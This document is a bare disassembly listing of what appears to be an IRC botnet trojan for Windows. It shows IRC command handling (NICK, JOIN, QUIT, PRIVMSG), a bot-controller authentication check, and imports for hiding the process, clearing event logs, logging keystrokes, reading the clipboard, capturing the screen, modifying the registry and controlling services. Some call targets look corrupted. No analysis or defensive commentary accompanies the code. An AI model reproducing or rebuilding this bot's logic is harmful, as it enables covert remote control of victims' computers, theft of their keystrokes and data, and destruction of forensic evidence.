		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2660545h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 2670C48h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		call	near ptr 2660545h
		nop


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA28 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 2660545h

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2660D84h
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2660D84h
		mov	dword_4CB040, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2660D84h
		mov	dword_4CB048, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		call	near ptr 2660D84h
		nop
		mov	dword_4CB050, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFC4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
